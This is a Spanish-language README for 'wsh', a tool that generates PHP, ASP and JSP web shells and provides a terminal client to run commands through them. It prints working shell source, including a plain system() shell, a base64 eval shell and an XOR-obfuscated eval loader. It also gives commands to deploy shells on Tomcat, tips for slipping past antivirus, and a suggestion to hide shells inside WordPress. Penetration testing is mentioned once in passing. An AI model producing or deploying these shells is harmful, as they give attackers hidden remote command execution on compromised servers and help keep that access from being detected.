
Generador de web shells e interfaz de línea de comandos.
wsh (pronunciado woosh) es un generador de webshells e interfaz de línea de comandos. Esto comenzó como un simple cliente http, ya que interactuar con webshells es tedioso. Hay un formulario, para enviar un comando tienes que escribir en una caja de entrada y presionar un botón. Quería algo que se adaptara mejor a mi flujo de trabajo y se ejecutara en la terminal. Así nació wsh.
El cliente cuenta con historial de comandos, registro (logging) y se puede configurar para interactuar con una webshell estándar previamente desplegada con formulario/botón. El generador crea webshells en php, asp y jsp. Se generan con variables aleatorias, por lo que cada una tendrá un hash único. Se pueden configurar con una lista blanca, contraseñas y permitir que los comandos se envíen a través de cabeceras y parámetros personalizados. El generador y el cliente se pueden configurar mediante banderas de línea de comandos o archivos de configuración, permitiendo guardar una configuración que funcione para ti sin tener que hacer lo que yo llamo la "danza del --help". Una vez configurados, el cliente y el generador usan el mismo archivo de configuración.
wsh <URL> [flags]
-X, --method string HTTP method: GET, POST, PUT, PATCH, DELETE (default "GET")
--param string Parameter for sending command
--header string Header for sending command
-P, --params strings HTTP request parameters
-H, --headers strings HTTP request headers
-c, --config string Config file
-k, --ignore-ssl Ignore invalid certs
--log string Log file
--prefix string Prepend command: 'cmd /c', 'powershell.exe', 'bash'
--timeout int Request timeout in seconds (default 10)
--trim-prefix string Trim output prefix
--trim-suffix string Trim output suffix
-h, --help help for wsh
wsh generate <language> [flags]
wsh g <language> [flags]
-X, --method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default "GET")
-p, --param string Parameter for sending command
--header string Header for sending command
-w, --whitelist strings IP addresses to whitelist
-o, --outfile string Output file
--no-file Disable file upload/download capabilities
--pass string Password protect shell
--pass-header string Header for sending password
--pass-param string Parameter for sending password
--xor-header string Header for sending xor key
--xor-key string Key for xor encryption
--xor-param string Parameter for sending xor key
--base64 Base64 encode shell
--minify Minify webshell code
-t, --template string Webshell template file
-h, --help help for generate
Quería que el cliente fuera independiente del lenguaje, por lo que todas las webshells debían implementar la misma lógica de subida/descarga. Desafortunadamente, es tedioso hacer cargas de formularios multiparte de forma nativa en jsp y asp clásico, por lo que los archivos se suben como base64 en un parámetro. Esto no es ideal, ya que el tamaño máximo de carga de archivo está limitado al tamaño máximo del parámetro. En el futuro, quizás intente implementar cargas de formularios multiparte, o hacer múltiples solicitudes para transferir archivos más grandes.
$ wsh 127.0.0.1:8080/test.php --param cmd
127.0.0.1> help
get <remote filepath> [local filepath] Download file
put <local filepath> [remote filepath] Upload file
clear Clear screen
exit Exits shell
Los siguientes comandos generan e interactúan con una webshell php simple.
$ wsh generate php --param cmd --no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --param cmd
<?php
$MfOb = $_REQUEST['cmd'];
$MfOb = trim($MfOb);
system($MfOb);
die;
?>
Los comandos también se pueden enviar a través de cabeceras http
$ wsh generate php --no-file --header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php --header user-agent
$ wsh generate php --no-file --param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php
Las contraseñas se pueden enviar a través de parámetros o cabeceras.
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-param pass
$ wsh 127.0.0.1:8080/shell.php --param cmd -P pass:S3cr3t
$ wsh generate php --no-file --param cmd --pass S3cr3t --pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php --param cmd -H pass-header:S3cr3t
Esta funcionalidad es interesante, pero puede requerir alguna modificación de las plantillas para que sea útil. En el caso de asp y jsp, las librerías que facilitan la decodificación de base64 son IOCs conocidos y serán marcados. Si estás interesado en usar estas funcionalidades, recomendaría modificar la plantilla y ofuscar.
Al igual que la protección por contraseña, la clave XOR se puede enviar a través de un parámetro o una cabecera.
$ wsh g php --param cmd --no-file --base64
<?php
eval(base64_decode('JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7'))
?>
$ wsh g php --param cmd --no-file --xor-key S3cr3tK3y --xor-param X-Key
<?php
$KHhx = $_REQUEST["X-Key"];
$LqC = base64_decode("d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=");
$oooqt = "";
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($cMq<strlen($KHhx) && $YpuI<strlen($LqC)); $cMq++,$YpuI++) {
$oooqt .= $LqC{ $YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);
?>
Para generar una webshell que se pueda desplegar en tomcat, crea una shell jsp llamada index.jsp y ejecuta el comando a continuación para comprimirla en un archivo war.
Ocasionalmente, el entorno de tomcat no tiene las librerías necesarias para subir/descargar archivos y la shell dará error cuando se realice una solicitud. Para solucionarlo, usa la bandera --no-file.
$ wsh g jsp --param cmd --no-file -o index.jsp
$ jar -cvf shell.war index.jsp
Usar la librería de plantillas de go añade mucha flexibilidad al generador. Ocasionalmente, una webshell será detectada por el antivirus, sin embargo, he descubierto que agregar un montón de código aleatorio en el archivo de plantilla a menudo hace que la shell parezca lo suficientemente benigna como para permitir que persista en el disco. He incluido un ejemplo en el archivo templates/covert-php.tml.
Adicionalmente, puedes modificar estas plantillas para incluir tu nombre/información de contacto para atribución en el caso de uso de una prueba de penetración.
Se puede especificar un prefijo para anteponer una cadena a cada comando enviado a la shell. Esto se puede usar para convertir una shell cmd normal en una shell powershell.
$ wsh http://10.0.0.27/shell.asp --param cmd --prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/27/2020 11:49 PM config
d----- 5/27/2020 11:49 PM en
d----- 5/28/2020 12:25 AM en-US
-a---- 5/27/2020 11:49 PM 119808 appcmd.exe
Los registros tienen marca de tiempo e incluyen el host con el que se interactúa. Los archivos de registro se añaden, así que siéntete libre de usar el mismo archivo de registro para múltiples sesiones/hosts.
127.0.0.1:8080/shell.php --param cmd --log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
...
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs
El cliente se puede configurar para recortar contenido html superfluo de una solicitud; esto es útil al interactuar con webshells con interfaz html estándar, o quizás si una shell generada está incrustada sigilosamente en una instalación de WordPress.
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd
127.0.0.1> ls
. . .
<div class="pb-2 mt-4 mb-2">
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
. . .
$ wsh 127.0.0.1:8080/index.php -X POST --param cmd --trim-prefix '<pre>' --trim-suffix '</pre>'
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates